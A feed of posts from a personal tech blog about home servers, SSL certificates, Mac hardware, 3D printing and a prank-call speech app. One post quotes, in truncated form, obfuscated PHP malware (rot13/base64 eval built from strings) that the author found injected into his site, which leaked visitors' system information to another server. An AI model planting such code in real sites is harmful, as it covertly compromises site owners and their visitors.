Geektown on

Trash Talker for Windows Launches

Fri, 29 Jun 2018 07:45:50 +0000

I’ve finally managed to get a version of Trash Talker published in to the Microsoft Store. This was based on the old STP code, but I made a number of improvements that make the app much better.

This app is a remake of a remake. The original app be the classic Shit Talker, by Jaundice. I enjoyed Shit Talker as a kid. I used to it call my friends and annoy them. (Given I’m a youngest sibling, it has been my classic duty to find creative ways of annoying others.) Trash Talker is a modernization of Shit Talker that tries to be a little cleaner, but stays quite true to the original. I have a few plans for things I’d like to add to this app, so check back every so often for updates.

Death by PEBKAC evaded by amazing ZFS snapshot CTRL+Zery

Fri, 09 Mar 2018 19:23:27 +0000

Tonight I was doing a little development work towards a telemetry system I’m building for a thing. Along the way I managed (like a 10/10 n00b) to delete a bunch of vital configs on my reverse proxy server that handles all my traffic. Thanks to the amazing ZFS snapshot function made easily available by FreeNAS, I was able to recover from this otherwise devastating fckup, super fast and without service disruption.

Using pfsense to sign private wildcard SSL certificates

Wed, 17 Jan 2018 15:17:57 +0000

pfsense is a wonderful router appliance BSD distro that I’ve enjoyed for some years now.

I use the pfsense certificate manager to issue certs for my VPN client devices. For my Internet-facing life, I have legit SSL certs for everything, I’ve a neurosis about it. But it’s bothered me that for my LAN servers, I’ve continued to use Self-Signed certs for interfaces. Today I fix that.

Here are my notes on how to create and sign a wild-card SSL cert using pfsense for internal use. Note that this approach means you will make your own certificate authority which then must have its root cert installed on any machine you want to use your own certs.

VMware ESXi 6.5 - Replacing the default SSL/TLS certificates

Tue, 05 Dec 2017 17:43:47 +0000

One of my weird hobbies is installing legitimate SSL certificates EVERYWHERE. Here’s steps for replacing the default self-signed garbage SSL certificates you get out of the box with VMware ESXi:

Steps Get your SSL cert, obviously. You’ll need a .key file and a .crt. (If you need help at this stage, take a look at my SSL cert management scripts on github.) Enable SSH access to your ESXi box. Login as root over ssh. (If you don’t know about this, perhaps this whole process is not for you at this time) From your root ssh session to your ESXi box, follow these steps:

iOS App: To Free, or not to Free, that is the question

Thu, 14 Sep 2017 08:40:21 +0000

One of my iOS apps is Search Site, is a little functional thing I made mainly to help familiarize myself with the full workflow of iOS app development. (IE, it’s a glorified Hello, World! app). It’s been released for free for a few months and has had very few downloads.

In the last month, it has suddenly started getting a relatively large amount of attention, specifically from Asia. I decided to try making it non-free, so I set it to the minimum possible paid value, $1CAD. After a week I decided to make it free again, for now.

LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes

Fri, 11 Aug 2017 23:11:58 +0000

Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue

I had an awesome LVM for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the striped path to ruin.

FreeNAS 11 Add a drive to create a mirrored ZFS volume

Wed, 09 Aug 2017 22:47:06 +0000

Back in 2013 I cobbled together a little guide within a post on the FreeNAS users forum on how to add drive to an existing ZFS volume and convert it in to a mirrored volume. I can’t at all remember even writing this little thing, but recent discussion in the old forum over it brought in to doubt whether or not the method would still work. So I spooled-up a VM with the latest FreeNAS (FreeNAS 11) and tried it out. Yup. Still works, see:

VMware ESXi 6.5 Hypervisor on Dell 690

Wed, 09 Aug 2017 01:12:19 +0000

I picked up a Dell 690 from an e-recycler for $11. I picked it out knowing that I can kit-it-out with 64GB of slow DDR2 FBDIMM RAM for about $80 and I can replace the CPUs to get to 8 threads for another $30ish. I somewhat foolishly assumed VMware ESXi 6.5 would just run on this rig. I was wrong, kind of.

Annoyingly, this motherboard seems fully electrically compatible with CPUs that are both dirt-cheap and supported by ESXi, however after a fair search of the internet, I found that the bios does not support such CPUs. The most conclusive findings I encountered were these.

Unix Magic Trick: Rename stuff in bulk

Fri, 14 Jul 2017 12:39:14 +0000

Here’s a magic-trick I rock from time to time. I only graze the basic abilities of the “rename” program, but even in my basic use of it, I find it super helpful.

In this case, I had a situation where my eBooks had been resorted from a massive flat directory in to one containing sub-dirs named with the prefix “Categories - “. I might have sorted them in another manner if I didn’t know about the rename command. When I was done sorting and thus left with my category-based directories, I then wanted to rename each dir to dump the prefix.

Dear Diary: Samsung ML-1610 on macOS 10.12 Sierra

Tue, 11 Apr 2017 08:25:20 +0000

New Version

A newer version is here. I now call this ml1610-blaster.

I have a trusty Samsung ML-1610 printer that I think I bought for like $90 back around 2003. It’s been an outstanding little cheapie that so far has seen me through two undergrad programs and is now seeing my wife through her third such program. Overall, it’s unremarkable, but I like it enough to keep it going.

Dear Diary: GoDaddy Error Code 6007

Fri, 07 Apr 2017 09:36:01 +0000

I’ve been working out a tolerable dynamic DNS solution for myself lately. After much effort, I’ve settled on running my own bind server (I last did this like 12 years ago, hah). I’ve written simple scripts that handle it for me and they work fine. However, I found for many of my domains hosted by GoDaddy, I couldn’t get it to use my new nameservers. Godaddy would let me switch my nameservers, but then they’d revert to their previous settings and I’d get an email containing the helpful message:

3D Printed Hard Drive mount for 27" iMac

Fri, 03 Mar 2017 23:54:10 +0000

One of my delightful neuroses is collecting abandoned non-functioning macs and fixing them. Last week I managed to pick up a completely dead 2010 one for $174, all parts included, just totally dead. Today I got the carcus of another for $51 (no screen, no memory, no motherboard, no glass). The carcus’ power supply happens to work and the $174 unit’s problem was exactly that - a dead PSU.

Trash Talker for macOS

Thu, 23 Feb 2017 18:37:20 +0000

I’ve released my first application for the macOS App Store. It’s a rebrand of a remake I did years back. I added some small new features based on requests I’ve had from users of the earlier version.

A little over 8 years ago I posted Shit Talker Phoenix for Mac OS X here on dawning.ca for download. I eventually also made a Windows build. STP was an attempt to give myself a bit of a functional Hello World project and to resurrect the classic Shit Talker by Jaundice which had become so old it was no longer functional in most cases. After posting my remake here on my blog, I found it actually has something of a user base.

Rules of Acquisition

Tue, 14 Feb 2017 13:53:18 +0000

After getting an Apple Watch I decided to author an app for it. I was also re-watching Star Trek DS9 for the 50th time which means I kept hearing Quark (etc) recite the hilarious and disgusting Ferengi Rules of Acquisition. So I made it an app.

The process required that I also make an iOS app to deliver the Watch app with, so I made that too. It’s served as an education project and I just released my second version (4th revision overall). The exercise would have been stunted had I made it free, as paid apps require the developer to suffer through various tax and legal fuckery, which I have.

Dear Diary: Arduino Due Development in Eclipse

Thu, 26 Jan 2017 16:38:32 +0000

Here’s another diary entry.. Hence this is more for me when I later do a similar project and run in to the same head-aches. But maybe this will help someone else too.

After much pain updating a well-endowed development environment configured for a work project, I ran in to various annoyances getting CDT for Eclipse working with the Arduino Due under Ubuntu 14.04. Below’s my approximate notes on how I navigated this delightful shitshow.

Dear Diary: Windows 10 on early Intel Macs

Fri, 20 Jan 2017 15:40:46 +0000

A local eRecycler is enabling me to develop kind of a thrilling computer-hording neurosis. I’ve managed to score 4 17" MacBook Pros and 2 15" units ranging from 2006-2008 vintages and it’s cost me very little. Some of these have serious problems, no matter, I’m having fun.

The 2008 Macs top-out at macOS 10.11, which is good for now. There’s some room to bump them over the edge in to Sierra, though I’m kind of pissed at Apple’s business model at the moment. I feel they’ve kind of abandoned the desktop entirely and the old machines are getting shafted the hardest. Granted they ARE old, Moore’s Law’s been on vacation for a while now. I guess we live in a sad world and anyone who buys a new Mac Pro will arrive in this well-populated sad space in about a year. 4,5,6 Apple. Seriously wtf? I know.. I know, it’s just business and the best margins are mobile. But I seriously digress.

Battle against injected PHP

Sun, 13 Nov 2016 14:18:51 +0000

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc

$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

Boycott Yahoo!

Sat, 02 Jul 2016 02:11:26 +0000

Yahoo! used to be an awesome business that had a few products I used. But I’ve noticed lately when I install certain free utility applications, Yahoo! has managed to pepper-in their own adware.

Dear Yahoo!,

It’s time for a major course-correction. Either die entirely or get your crap together. Tricking people in to using your products is an impressively sketchy proposition. Cease and�desist�this�despicable practice right now.

Yours truly,

The entire Internet.

Cupcake155 Episode 5

Mon, 01 Feb 2016 00:27:59 +0000

Cupcake155 Episode 5 is where I list some supporting alterations I’ve made that supporting its operation. These are all nice to have things.

Check out Episode 5 here.

USB 3.0 on 17" MacBook Pro under El Capitan

Thu, 21 Jan 2016 23:45:09 +0000

I had added USB 3.0 functionality (via a GMYLE BC628) to my Late 2011 17" MBP as per my earlier post. Mac OS X 10.11 El Capitan introduced a new layer of security that prevented my previous configuration from working.

Fortunately, others have figured out a road back.

Here are the steps: Backup everything and assume you’re about to trash your system. I am not responsible for what happens here. Boot in to your recovery partition, or on to a USB installer Execute:sudo csrutil disable kext. This disables kext signing. Boot back to your native system. (Note USB-booted environments probably don’t need the sudo component.) Download GenericUSBXHCI.kext to your Desktop Run KextBeast, install to /Library/Extensions Reboot Profit!

Cupcake155 Episode 4

Sat, 16 Jan 2016 15:52:05 +0000

Cupcake155 has been endowed with a sweet lighting system. I built it in an open way, so others can re-trace my steps without having to start from zero. It’s actually a pretty sweet system, I call it Illuminatrix.

Check out Cupcake155 episode 4 here.

Cupcake 155 Episode 3

Thu, 10 Sep 2015 17:07:55 +0000

Episode #3 of my Cupcake155 project has been posted.

The key jist being that I found on complex prints, I would typically get a few major slips in the print. There often were also places where the print delayed in a location for a time, this left scars too.

Ultimately, a $10 SD board and a quick firmware change later and my prints were vastly improved.

Cupcake155 Stream

Sat, 28 Feb 2015 00:04:32 +0000

(updated: I’ve switched from ustream to YouTube Live, this post has been retroactively updated as there’s no point with linking to old junk)

I’ve been working on Episode 3 for a couple weeks now, but until I slay a certain dragon, the episode shall remain enroute.

In the mean time, I’ve updated my main printing page with a copy of my live stream feed, so when I’m printing you can watch the video stream from that easy-to-find location.

Cupcake155 Episode 2

Sat, 14 Feb 2015 01:53:28 +0000

After roughly a month of effort, I’ve now got my old Cupcake heavily retro-fitted and running pretty well.

Cupcake155 Episode 2 gives the key details of how I modified my old MakerBot Cupcake in to something modern and unique. Others may find it helpful to re-trace my steps and perhaps get printing sooner!

Cupcake155 Episode 1

Wed, 04 Feb 2015 10:24:26 +0000

I’ve missed playing with 3D printing since I mothballed my printer years ago. It was shelved over major pains in getting the extruder to work properly. I also wasn’t especially fond of working with ABS plastic, which feels pretty toxic to me.

A few weeks back I decided that my old printer, while in bad shape, was still most of a 3D-printer. I had been looking at ready-made products I could potentially buy, but I wanted the satisfaction of doing most of it for myself. I knew right-off-the-bat that I’d be replacing the extruder as it seems clear to me vast progress has been made about that point.

Multi-threaded tar/bzip2

Tue, 20 Jan 2015 15:25:03 +0000

I often find myself banging my head against a wall watching tar compress with a single execution thread. PBZIP2 is the solution to that problem.

Here’s my few recipes for using this:

Compress: tar cf archive.tar.bz2 –use-compress-prog=pbzip2 archive/

Uncompress:�pbzip2 -dvc archive.tar.bz2 | tar x

Enjoy!

MacPro3,1 gets USB 3.0 support

Tue, 23 Dec 2014 19:03:31 +0000

In my quest to keep my 2008 era Mac Pro (MacPro3,1) reasonably well suited to my needs, I recently decided to attempt to add USB 3.0 support.

I recently bought myself one of these babies, Inateck KT4004. I like that it has 4 ports and no external power required.

The Amazon page claimed this card is for the Mac Pro. I wasn’t sure if there would be weird driver issues and bought it with a little hesitation. I�installed it in about 2mins and upon booting I could immediately see it available:

Ubuntu 14.04 on Utilite Pro

Fri, 10 Oct 2014 11:06:06 +0000

To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.

Here’s the URL to the build guide.

Here’s the URL to the download directory.

For installation, I’m�ripping-off the Arch installation instructions here.

The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root

Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04

Wed, 17 Sep 2014 17:17:20 +0000

I’m a fairly heavy user of trac. I’ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.

After remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn’t even find a hint in my logs, even after cranking up the verbosity.

Dear Diary: USB 3.0 on my MacBook

Tue, 02 Sep 2014 21:45:28 +0000

Here’s the tale of getting USB 3.0 working in a tolerable regard on my 17" MacBook Pro.

In short, it cost me about $10 and I had to install a custom, but generic kext to enable USB 3.0. Thankfully, all the heavy lifting was done for me by people with far more free time (lucky freaks).

Here’s a visual of my final result:

So come along with me on my tale of computery enhancement.

OSX Home, End, Pg Up, Pg Down

Wed, 16 Jul 2014 21:16:18 +0000

Home, End, Pg Up and Pg Down, keys I use like a crazy-person. And yet, for reasons probably designed to break my mind and will, Apple opted for a fairly different and totally varying use for these keys. I wager it’s some sort of nod to super old-school Unix practices. Nevertheless, I’ve ripped out some hair over this and had many brief returns to Linux for my desktop platform over it.

Add RSYNC to VMware ESXi 5.x

Fri, 11 Jul 2014 15:34:41 +0000

I’ve recently sufficiently mastered rsync to use it everywhere, constantly.

ESXi doesn’t have rsync bundled, cause you know, when 16GB flash drives cost $8, you need to keep your hypervisor footprint down to a few MB? I dunno.

Anyway, here’s where to download a build of rsync that’ll work on there:�http://damiendebin.net/blog/2013/12/06/esxi-5-dot-1-and-rsync/

I just SCPed the file over in to my /opt/ and then symlinked it in to my path.

Dear Diary: Installing OSX 10.9 on Late 2007 MacBook

Sun, 13 Apr 2014 11:26:52 +0000

Here’s my notes on how I approached installing�OSX 10.9 on my Late 2007 MacBook (MacBook3,1).

Note I did most of this on a current Mac running 10.9.

Also, this kind of worked. I got the install to run but it wouldn’t boot after install. I’m probably quite close to it working. I’ll update this post with notes if I work on this further.

Steps

\t- Create USB Flash OSX 10.9 installer

My Diary: Upgrading Alfresco Installations

Fri, 11 Apr 2014 21:12:05 +0000

Here’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.

Wordpress content-only custom templates (with plugin javascript (etc) still being loaded)

Sat, 22 Feb 2014 18:39:39 +0000

Today I spent a fair while on a quest to display only page content on a Wordpress site of mine. The situation is that I’m trying to make a very easily updated marketing website for an online-learning project of mine. I like using a proprietary page slider for Wordpress (and other platforms, excluding my Moodle e-learning platform). So, hacky as it is, I opted to spin up a dedicated Wordpress site that’d just host the sliders in content-only custom theme template files. Of course, this mandated rolling up the sleeves.

My Diary: on running PHP 5.5+ & Apache 2.4 on Ubuntu 12.04

Sat, 22 Feb 2014 12:09:51 +0000

I’ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can’t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu’s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.

Software > MediaDrop Automatic Transcoding Script

Fri, 03 Jan 2014 00:54:49 +0000

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

All Hail Tony, The Digital Warlock

Fri, 29 Mar 2013 00:09:07 +0000

This is the tale of a man who was faced with colossal data loss. As his family photos seem to fade in to the ether and with nothing to lose, he drew a line in the digital sand. He gained a persona that day, he was no longer just “Tony: Loving husband and father”. No no, that fateful day this man also became The Digital Warlock.

Apt cache cheatsheet

Fri, 08 Feb 2013 13:29:44 +0000

I’ve been setting up a number of apt-cacher instances on different networks I run Ubuntu boxes on. This is a well documented process. I’m posting the key steps if only for my own reference later.

apt-get install apt-cacher
Edit /etc/default/apt-cacher add AUTOSTART=1.
Edit /etc/apt-cacher/apt-cacher.conf and make sure the allowed_hosts line is explicitly as intended.
Open client (and local server’s) /etc/apt/sources.list and str repl %s/http:\/\//http:\/\/SERVERHOSTNAME:3142\/apt-cacher\//g

Default port is 3142

Good detailed resources:

Thank you Steve

Wed, 05 Oct 2011 19:08:12 +0000

Thanks for all your profound, inspiring and helpful inventions Steve. You’ve made an admirable mark on the world.

Trac Authenticating Through Active Directory

Mon, 26 Sep 2011 10:06:18 +0000

A minor post - mostly for my own notes..

I was setting up an instance of Trac and I wanted Active Directory authentication going. I’ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.

I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:

Geekery Datacentre Project Completed

Mon, 04 Apr 2011 10:55:27 +0000

When it was but a closet

The Initial Setup

And Finally…

Shortly after moving in to my house, I opted to use a room for my Geekery (formerly known as “Nerdery”).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server “rack” (AKA Ikea Shelf) in.

Update (Apr 26)

This hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.

Liquid-Fluoride Thorium Reactor

Fri, 01 Apr 2011 10:40:36 +0000

I went to a Protospace talk recently where I listened to a wonderful 4 hour talk about Thorium based reactors. Suffice to say it was time wonderfully well spent. I’m so energized and psyched. I’ve really liked Nuclear power in the past, but that’s given way to this even better alternative. Seems a great deal safer and just all round “better” in every dimension.

Here’s an early video from the talk. A buddy is working on a refined version combining multiple angles (some of which I filmed).

Calgary Traffic Web Cams

Wed, 23 Feb 2011 13:45:43 +0000

For a while I’ve had this Calgary Traffic page that brings together live web cam images from the city’s public traffic website. I didn’t really like that I couldn’t see all the cameras from the view they give, so I whipped up a page to do it for me..

Anyway, I just updated the page as I found they’ve since added another 30 cameras since the last time I looked. I also added a little more brains to my script for this.

Throwing Down an LED where the Potential is great

Thu, 17 Feb 2011 00:15:14 +0000

I saw this post on Instructables where someone asked how they could add an LED on to a high-voltage source. And for reasons I can’t explain, I just felt compelled to take a crack at it…

On the surface it’s a pretty boring/simple question. But on the other, as much as I’ve answered this question for myself several times, I thought I’d provide my approach for the world to judge. Supposedly I’ve learned how to do this (and a lot more) in school, but it seems to me like the basics like this are worthy of most of the attention.

Quick Recipe for MediaWiki with AD logins

Wed, 02 Feb 2011 13:24:40 +0000

Here’s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it… I’ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won’t be held responsible.

Step 1: Set up your server

I created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.

World, meet STP 1.0 for Windows

Wed, 12 Jan 2011 23:16:33 +0000

Well, after a craptacular number of requests via email and youtube, I’ve finally finished tossing together a Windows version to help out all my anonymous totally random friends.

I should point out, THIS WORKS on Windows 7 (and quite probably Windows Vista). But I should confess the lame situation with the Text-to-Speech engine in Windows is the lack of voice profile options. Apparently there’s a way to install voice packs. I’ve written STP for Windows to take advantage of such options on systems they exist on. But… If anyone actually finds a voice profile pack that ‘clicks’, be sure to let me know and I’ll see about hooking that in to the installer.

The Air is on fire! Shaw Gigabit Fibre Internet FTW!

Sat, 25 Dec 2010 02:09:54 +0000

Exhibit A:

Exhibit 2: Damn, seriously.

Shaw Gigabit Fibre Internet doesn’t bother Transmitting Data, it TELEPORTS it!

Here I sit in my bed @ my parent’s place on Christmas Eve. I decided to test out their new internet connection & router by enjoying another kind of “Eve”, Eve Online.

The Air is on fire, but in the good way

About the same time as this new internet service was hooked up I randomly decided to upgrade my parents to use Wireless N (with a repeater rig, a la Airport Extreme & Airport Express).

AirPlay Through pfsense Bridge

Thu, 23 Dec 2010 19:27:48 +0000

Howdy all, geek-mode enabled.

So I’ve been fighting somewhat to get my AirPlay enabled device (Apple TV) to function perfectly. I use pfsense to run my router and in so doing I’ve got a Wireless and Wired network that are bridged together. I found with the AppleTV that only devices on the same physical media could stream to it, though all devices could “see” it.

After submitting a feature request to Apple over this, I decided I wanted it solved for me anyway and I felt close to the solution. Since I had no logs to go by, I decided to bust out Wireshark to sniff all the involved network traffic. Suffice to say, I was rather entertained to find that when using AirPlay the payloads are flying around in IPv6, not IPv4. Just look at the caption in this post. All those teal packets is iTunes streaming audio to my AppleTV via AirPlay. It’s UDP over IPv6. Neato.

Getting Synergy (or whatever) to run automatically in Snow Leopard

Thu, 16 Dec 2010 01:26:06 +0000

Here you see the

If you’re geeky like me, then you may be a lover of Synergy..

Well, many of us have long since used some of the old funky tricks for getting Synergy to start up automatically (like the ol LoginWindow trick). But that seems to not be so helpful (for me anyway), as of upgrading to Apple’s Mac OSX Snow Leopard (10.5).

Pretty Cycling Images and URLs

Wed, 08 Dec 2010 14:37:40 +0000

I recently tossed up my little cycling badge of things I like (to the left) and in the process I had to do some CSS/jQuery “research”.

I found THIS really helpful guide that nicely explained everything, but it wasn’t precisely what I wanted. I found that in using the code as given there, all the images would grossly load in a stack and images of different sizes would remain visible in the stack as they cycled. I also didn’t really like the idea of the fading animations being tied to the IMG tag, I wanted to use a more generic DIV container instead, after all I like writing code I can easily re-use later.

Desktop Aquarium Project

Mon, 26 Jul 2010 00:14:56 +0000

This the little story a weekend project to add more of a soul to my computery-workspace at home. The result has really delighted me and I’m already well in to plotting out a similar project for my office. I’d suggest those who are considering such a project themselves should jump in to it!

The Story of the Desktop Aquarium

Lately I’ve been itching to setup a Terrarium of sorts. I found this website and it got me fairly excited on a few levels. I ordered a bunch of Bonsai seeds (mostly Japanese Maple variants), but my short-term drive to set up a little world of life remained.

Kobo - Unboxed & Linux Friendly

Mon, 21 Jun 2010 23:41:46 +0000

I’ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..

For those who remain unaware of what an ereader is…

They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called E-Ink. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.

Erlenmeyer Flask of Drinking

Fri, 18 Jun 2010 15:42:06 +0000

I’ve long since loathed the wide range of drinking vessels that I know react with my water. I’m already seriously irritated about the mandatory fluoridation of my drinking water. So I hardly like that drinking from a metal container tends to make my water taste metallic. Then there’s my instinctual concerns about anything plastic.

This led me to glass. However, I remained unconvinced that typical glass products are plain nonreactive glass.. Thus, I decided upon chemistry glasswares. From there, I decided to run with an Erlenmeyer Flask as it’ll sit well on my desk and can defend against the attacks of cat tongues.

Watch The Guild

Sat, 29 May 2010 22:52:18 +0000

My copy of 'The Guild'

The Guild has been around for some time now and I’ve enjoyed watching it many times over. It’s about the woes of RL existence for a group of gamer geeks.

I first noticed the main drive behind The Guild, Felicia Day, from another similarly awesome project - Dr. Horrible’s Sing-along Blog. Aside from that, I’m also a casual but frequent World of Warcraft player. Thus, when I encountered The Guild I was absolutely trilled as it does a great job of illustrating the tone of some of the weird social stuff that comes out of leading a dominant online life.

Ubuntu 9.10 remote mounts via sshfs

Sun, 07 Feb 2010 17:30:34 +0000

Hey just a fast post here.. I’ve been using sshfs on Ubuntu (meh, linux in general) for awhile as a means of securely remotely accessing my files. I’ve taken some steps to add a line to my /etc/fstab file to make this run smoothly…

Though today I ran in to a really weird situation. I found that despite having a uid=xxxx line, the appropriate user wasn’t getting ownership of the mount. In fact, when that user would look at the permissions for the mount, it returned something like “d???? ? ? ?”. Whisky Tango Foxtrot.

iPad FTW?

Thu, 28 Jan 2010 12:10:27 +0000

iPad Promo Images

Yesterday Apple introduced their massively anticipated iPad tablet device. For those who haven’t yet heard about it, it’s basically a hudge iPhone (that doesn’t make phone calls). The iPad is meant to unlock a “new” market segment for small computing devices that is somehow not already met by the iPhone and netbooks.

What does it do, anything new?

The iPad doesn’t bring new functionality to the computing world, but it does consolidate and simplify use particularly of eBooks. There have long since been many very cool eBook readers out there built around providing simple means for people to read electronic books.

Dawning.ca Spruced Up

Fri, 15 Jan 2010 03:12:36 +0000

Previous Dawning.ca Layout

I’ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.

Retro Lamp goes HypnoOrb

Thu, 03 Dec 2009 09:40:17 +0000

Candice saved this hideous old lamp from a bulldozer (literally) and for the last year and a bit we’ve had it hanging up in our basement for extra ambient lighting. The light was setup only to be turned off/on by pulling/placing the plug and that part’s so sketch that we rarely use the thing. So when it came time to replace a bulb, I decided to use a HypnoOrb instead of a more typical bulb. ** **

YouTube Grabber App

Tue, 24 Nov 2009 12:06:27 +0000

I’ve whipped up this little YouTube video grabber for myself and I’ve opened it up for the moment. If I see it getting spammed or abused in some way, I’ll probably password protect it, nevertheless, you can check it out here.

What it does

This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.

MakerBot Plastruder Crash

Tue, 27 Oct 2009 10:40:41 +0000

While trying to print something on my MakerBot last night, I had an awesome fail where the heater barrel of the plastruder was ripped out. Upon continued reflection, I think this was the product of how I had the heater barrel interfaced with the insulator barrel and I think I know how to fix it without replacing parts. Check out the video below:

MakerBot Plastruder Modified For Slightly Enhanced Awesomeness

Mon, 26 Oct 2009 14:35:21 +0000

Hello world, so I’ve been working very hard at getting my most awesome MakerBot working. It’s been a patience invoking venture and also extremely educational. The MakerBot employs some rather brilliant little tricks that make it simple, strong and friggin cheap. It’s a great gadget to have, though it’s definitely NOT for those who want everything now and aren’t capable of taking their time to do the job correctly.

Meet My Mod

So, in trying to get my MakerBot rockin, I’ve had to debug some stuff in my assembly. The instructions given on assembly are outstanding considering how much stuff you need to do to build one. That said, they’re not flawlessly exhaustive either - and this isn’t yet an exact science. I found myself frustrated by the positioning of the circuit board (I’ll just call it a PCB for now) positioned on the thing that outputs the plastic (Plastruder/RepRap). As you can see in my included photos, I’ve moved the PCB off to the side and flipped it behind the Plastruder.

Snow Leopard Upgrade on a Triple Booting Macbook

Tue, 01 Sep 2009 20:41:13 +0000

Howdy World, so last friday was release day for Snow Leopard, woot! I went out and grabbed a copy and rushed home to upgrade my macbook… Here’s the tale of a bit of resistance I met and how I resolved it.

Yellow Triangle of Rejection

So the problem I quickly encountered was that my “Macintosh HD” partition had an ugly little yellow symbol over it rejecting me from updating my OS X install. I forget (unfortunately), the particular error message. Nevertheless the short version was that regardless of how I launched the installer or a number of other things I tried, it wouldn’t let me run the upgrade.

PCB Etching Progress

Sat, 08 Aug 2009 16:43:15 +0000

HappyThawts

Transferred Toner

Well, a few of us Protospacers met up and worked out some more home-made cheap Printed Circuit Board progress.. Vast thanks to the help of my esteemed friend HappyThawts, we finally got out a board of usable quality! Woot! We used a single sided Arduino pattern I found (saved me some seri

ous time). And followed a fairly well documented process involving use of Ferric Chloride, Acetone, Clothing Irons, Cheap Magazine Paper, Water and patience.

STP Replugged - Who would you call?

Thu, 06 Aug 2009 15:19:52 +0000

I think it’s time again that I re-plug my free little “Shit Talker Phoenix” program I’ve written for OSX.

As you can see from the screenshot, it’s a window saturated with a mess of buttons. Each of these buttons are linked in to a speech synthesis engine, so when you press a button, the computer speaks whatever’s on the button.

I based this entirely off of the old Shit Talker by Jaundice, a well known, ancient but hilarious little program for making “prank” phone calls. I used this program back in the days of Windows 98 and if you try to run it now you’ll be met with general instability and ugliness (though you could run it inside a virtual machine). I was motivated to re-write it for OSX simply because that’s what I was using at the time and I wanted something I could run natively to do the same thing.

World, meet my first home-made circuit board

Thu, 30 Jul 2009 07:02:04 +0000

My very first PCB

Well, with the priceless aid of my dear friend HappyThawts, I’ve managed to produce my first home-made Printed Circuit Board!

How it went

There were a bunch of weird issues that came up in making it and thus it’s not all that ideal, though I could hack it to work. The main challenge was that my copper clad boards were actually covered with PhotoResist (for masking boards via UV). The process we used entailed working directly on a layer of Copper. Thankfully Happy realized that Acetone would probably send the PhotoResist on it’s merry way to aqueous exile in my trash-chemicals bucket. She was dead-on there.

Toor Camp 2009 in Review

Tue, 14 Jul 2009 02:55:18 +0000

Well I’ve been home from Toor Camp 2009 for a week now and I’m feeling it’s about time to post my personal review of all of this.

In Summary

\t- **In Short: **It was awesome

\t- **In slightly less-short: **It was rough in terms of heat, closed silo and drama

\t- **The Bottom Line: **I’ll be going next year

\t- Photos Here

The Good

Firefox 3.5 is out, now go get it!

Tue, 30 Jun 2009 10:11:10 +0000

Howdy all, if you some how haven’t heard yet, Firefox 3.5 is out. It boasts a pile of cool new features and performance improvements over previous versions. Now, go get it!

The Anti-Epic Tale of Making IIS Play Nice with Apache

Wed, 24 Jun 2009 14:04:56 +0000

The Mission

To run an Apache server (on Windows) on the same machine that was already hosting IIS.

The Strategy

